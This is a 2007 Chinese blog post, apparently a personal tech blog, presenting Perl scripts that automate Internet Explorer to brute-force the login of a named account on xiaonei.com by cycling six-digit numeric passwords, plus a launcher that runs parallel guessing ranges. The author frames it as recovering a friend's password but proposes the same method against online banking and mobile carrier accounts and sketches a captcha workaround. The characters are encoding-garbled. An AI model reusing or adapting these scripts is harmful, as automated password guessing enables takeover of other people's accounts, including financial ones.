Perl是一個(gè)異常強(qiáng)大的網(wǎng)絡(luò)處理工具,而且它的庫是相當(dāng)?shù)亩嗯c全面。老同學(xué)的網(wǎng)站密碼丟了,讓我找找看,我就琢磨琢磨學(xué)習(xí)了一下Perl。
如果是普通的表單,只需要用Perl自帶的LWP庫就可以了,但是有些網(wǎng)站會(huì)首先檢測(cè)你的瀏覽器是否支持Cookies,是否是“真實(shí)的”瀏覽器而不是機(jī)器人代理,更有甚者首先檢測(cè)你的瀏覽器是否支持腳本,如果不支持腳本是根本不讓你瀏覽任何信息的。這個(gè)時(shí)候LWP就沒有什么用了。
于是乎我想到了COM,調(diào)用Internet Explorer的接口。先用C++實(shí)現(xiàn)了一個(gè),速度雖然是快,可是如何獲取Document進(jìn)行網(wǎng)站的反饋判定卻成了難題,其中牽涉到一個(gè)等待同步的問題,總是出錯(cuò),一氣之下就廢了它。去CPAN下載了一個(gè)叫做Win32::IEAutomation的庫,省得手動(dòng)初始化COM對(duì)象,還要查CSLID等等。guesser腳本很是簡單,如下。
use?Win32::IEAutomation;
my?$low?=?@ARGV[0];
my?$up?=?@ARGV[1];
if?(?$low?>?$up?){
????print?"UP?LOW?ERROR!";
????exit?1;
};
my?$ie?=?Win32::IEAutomation->new(?visible?=>?0?);
$ie->gotoURL('http://xiaonei.com/Login.do');
my?$user?=?"papyna\@126.com";
my?$time?=?time;
while(?$low?<=?$up?){
????my?$pwdstr?=?"";
????$pwdstr?=??sprintf?"\%.6u",$low;
????$ie->getTextBox('id:',"email")->SetValue($user);
????$ie->getTextBox('id:',"password")->SetValue($pwdstr);
????$ie->getButton('id:',"login")->Click;
????$ie->WaitforDone;
????if(?$ie->VerifyText('密碼錯(cuò)誤')?){
????}else{
????????$time?=?time?-?$time;
????????print?"Password?Is?:?",$pwdstr,"\n";
????????print?$time,"?Seconds?Passed
";
????????exit?0;
????};
????$low++;
}
print?"Not?In?this?range?From?",$low,"?To?",$up,"\n";
exit?0; 原理很簡單,輸入一個(gè)數(shù)字范圍,然后一直調(diào)用網(wǎng)站的登陸腳本,直到正確的登陸。其實(shí)這也牽涉到一個(gè)字典的問題,這個(gè)就是窮舉破解的最大麻煩。不過思想是可以值得借鑒的。速度瓶頸在網(wǎng)絡(luò)上,機(jī)器代碼執(zhí)行得飛快,等待頁面反饋太慢。為了,加速,我想到了多線程。通過這個(gè)腳本,同時(shí)執(zhí)行多個(gè)上述腳本的實(shí)例。代碼也很簡單。
use?Win32::Process;
use?Win32;
sub?ErrorReport{
????print?Win32::FormatMessage(?Win32::GetLastError()?);
}
Win32::Process::Create($ProcessObj1,
????????????????????????????????"C:\\Perl\\bin\\perl.exe",
????????????????????????????????"perl guesser.pl?870100?870133",
????????????????????????????????0,
????????????????????????????????NORMAL_PRIORITY_CLASS,
????????????????????????????????".")||?die?ErrorReport();
Win32::Process::Create($ProcessObj2,
????????????????????????????????"C:\\Perl\\bin\\perl.exe",
????????????????????????????????"perl guesser.pl?861095?861231",
????????????????????????????????0,
????????????????????????????????NORMAL_PRIORITY_CLASS,
????????????????????????????????".")||?die?ErrorReport();
$ProcessObj1->Wait(INFINITE);
$ProcessObj2->Wait(INFINITE);
然后就是漫長的等待了,甚至可以聽到瀏覽器的聲音,速度緩慢的真是痛苦。不過,破解招商銀行網(wǎng)上銀行大眾版 —— HTTPS連接與加密插件,IE都是內(nèi)置,只要先安裝好,就可以傳入U(xiǎn)RL進(jìn)行窮舉了。不過有個(gè)問題就是,驗(yàn)證碼。對(duì)于這個(gè)我還沒有實(shí)現(xiàn),不過思路很簡單,手動(dòng)寫一個(gè)讀寫圖像文件,判斷數(shù)字的函數(shù),圖片可以從IE緩存獲得。破解移動(dòng)聯(lián)通手機(jī)號(hào)碼密碼也可以順著這個(gè)思路來。
末了提醒大家,就用Google的原則,“不要做惡”。
posted on 2007-02-16 21:55
周波 閱讀(2049)
評(píng)論(1) 編輯 收藏 引用 所屬分類:
無庸技術(shù) 、
奇思妙想